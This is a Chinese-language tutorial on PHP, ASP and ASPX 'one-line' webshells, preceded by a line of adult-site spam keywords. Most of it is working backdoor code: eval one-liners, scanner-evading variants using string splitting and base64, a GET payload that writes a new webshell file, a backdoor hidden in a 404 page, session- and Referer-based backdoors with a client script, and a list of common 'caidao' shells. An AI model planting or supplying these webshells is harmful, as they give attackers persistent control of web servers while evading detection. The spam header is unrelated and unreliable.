国产人久久人人人人爽,免费人成黄页在线观看国际,99福利视频导航

一句話木馬原理很簡單，造型也很簡單，所以造成了它理解起來容易，抵御起來也容易。于是黑白的較量變成了黑帽不斷的構造變形的后門，去隱蔽特征，而白帽則不斷的更新過濾方法，建起更高的城墻。

一、原理簡述

對于不同的語言有不同的構造方法。

基本構造：最開頭構造的是腳本開始的標記
核心部分：獲取并執行得到的內容，通常類似eval、execute等
被執行內容：一般是http等協議接受的值，通常類似request、$_POST等

如果我們通過客戶端向服務器發送被執行內容，那么就會讓服務器執行我們發送的腳本，掛馬就實現了。

/*asp一句話木馬*/<%execute(request("value"))%>

/*php一句話木馬*/<?php @eval($_POST[value]);?>

/*aspx一句話木馬*/
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>

黑帽子的目的，就是想盡辦法給目標網站插入這么一段會被儲存起來的語句。可以是一個單獨的腳本文件文件（.asp 、.php、.aspx ），或者是隱藏在某些網頁下的文件、代碼等。

其中的value 就是客戶端要發送的內容，然后通過客戶端與服務器建立連接，發送控制腳本。也會涉及到一些任意文件上傳漏洞等。

二、簡單變形

很明顯的 eval 可以成為一個靜態特征碼，webshell掃描工具可以以此為關鍵詞，掃描到這種木馬加以屏蔽。于是可以簡單變形不出現eval：

<?php $_GET['a']($_POST['b'])?>

同理，傳給a值為 @base64_decode(base64編碼過后的eval)。

<?php $_GET['a']($_GET['b']);?>

利用方法：

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

通過對GET請求的URL構造而形成利用，左括號和右括號是URL編碼，解碼回來如下：

?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

PHP接收到GET請求后相當于執行一個assert函數，并把b作為assert的參數。b里面使用略php的base64解碼函數，把部分信息通過base64編碼而繞過掃描，解碼后如下：

?a=assert&b=${fputs(fopen(c.php,w),<?php @eval($_POST[c]); ?>1)};

執行后當前目錄生成c.php文件并寫入一句話木馬，這已經算是一個非常隱蔽的木馬了。而在PHP 后門的變形之路上，遠遠不止這些，甚至可以自己定義一個加密解密的函數，或者是利用xor, 字符串翻轉，壓縮，截斷重組等等方法來繞過。

三、變形改良

1.404頁面隱藏木馬

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
    <head>
	<title>404 Not Found</title>
    </head>
    <body>
	<h1>Not Found</h1>
	<p>The requested URL was not found on this server.</p>
    </body>
</html>
<?php
    @preg_replace("/[pageerror]/e",$_POST['error'],"saft");
    header('HTTP/1.1 404 Not Found');
?>

一般404頁面放好后，很少有人會定期對404頁面進行檢查和修改。

如果在404頁面掛上了一句話后門，一方面不會被發現，另一方面，黑帽子很容易能定位到并連接上服務器。

2.無特征隱藏PHP后門

利用session：

<?php
    session_start();
    $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
    $_SESSION['theCode'] && preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

利用$_SEESION變量來繞過掃描，將$_POST['code']賦值給$_SESSION['theCode']，然后eval執行SESSION的內容。

利用HTTP_REFERER：

利用請求中的HTTP_REFERER來運行經過base64編碼的代碼，達到后門的效果，使用兩個文件。

<?php
    //1.php
    header('Content-type:text/html;charset=utf-8');
    parse_str($_SERVER['HTTP_REFERER'], $a);   
    if(reset($a) == '10' && count($a) == 9) {  
         eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
    }

<?php

    //2.php
    header('Content-type:text/html;charset=utf-8');    
    //要執行的代碼
    $code = <<<CODE
        phpinfo();
CODE;

    //進行base64編碼
    $code = base64_encode($code);    
    //構造referer字符串
    $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";    
    //后門url
    $url = 'http://localhost/test1/1.php';
    $ch = curl_init();
    $options = [
        CURLOPT_URL    => $url,
        CURLOPT_HEADER => FALSE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_REFERER => $referer
    ];
    curl_setopt_array($ch, $options);    
    echo curl_exec($ch);

訪問2.php，會構造一個會話，進到后門1.php那里。然后在HTTP_REFERER 的內容也會傳遞給1.php，通過1.php 執行內容。一般來說，防火墻會對 referer字段寬松一些，就可造成繞過。

3.常見的后門

//菜刀一句話
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");

//危險的include函數，直接編譯任何文件為php格式運行
$filename=$_GET['xbid'];
include ($filename);

//重命名任何文件
$reg="c"."o"."p"."y";
$reg($_FILES['MyFile']['tmp_name'],$_FILES['MyFile']['name']);

//菜刀一句話
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");

//gif插一句話
//危險的include函數，直接編譯任何文件為php格式運行，
POST  
include ($uid);
//典型一句話
<?php eval_r($_POST['s'])?>
<?php @eval_r($_POST['s'])?>

//使用lanker一句話客戶端的專家模式執行相關的php語句
<?php assert($_POST['s']);?>
<?$_POST['a']($_POST['b']);?>
<?$_POST['a']($_POST['b'],$_POST['c'])?>

//使用這個后,使用菜刀一句話客戶端在配置連接的時候在"配置"一欄輸入
<?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
<O>h=@eval_r($_POST1);</O>

//繞過<?限制的一句話
<script language="php">@eval_r($_POST[sb])</script>